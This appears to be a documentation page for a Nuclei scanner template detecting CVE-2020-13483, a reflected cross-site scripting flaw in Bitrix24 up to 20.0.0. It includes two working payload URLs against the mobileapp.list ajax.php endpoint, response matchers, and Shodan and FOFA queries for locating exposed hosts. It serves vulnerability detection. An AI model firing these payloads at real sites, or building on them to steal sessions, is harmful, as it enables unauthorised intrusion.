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Bitrix24 <=20.0.0 - Cross-Site Scripting

ID: CVE-2020-13483

Severity: medium

Author: pikpikcu,3th1c_yuk1

Tags: cve2020,cve,xss,bitrix,bitrix24

Description

Section titled “Description”

The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.

YAML Source

Section titled “YAML Source”
id: CVE-2020-13483


info:
  name: Bitrix24 <=20.0.0 - Cross-Site Scripting
  author: pikpikcu,3th1c_yuk1
  severity: medium
  description: The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
  reference:
    - https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
    - https://twitter.com/brutelogic/status/1483073170827628547
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13483
    - https://github.com/afinepl/research
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13483
    cwe-id: CWE-79
    epss-score: 0.00113
    epss-percentile: 0.44743
    cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bitrix24
    product: bitrix24
    shodan-query: http.html:"/bitrix/"
    fofa-query: body="/bitrix/"
  tags: cve2020,cve,xss,bitrix,bitrix24


http:
  - method: GET
    path:
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
          - "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
        condition: or


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a0047304502205058137ac479318c7508398ceb290c434a57e8772fdd17ed651202de493ba1a5022100b38a28abdb7486874f51f594aba68b967d2605c5fd7e7b89a3f90ec9b6cb82d4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13483.yaml"

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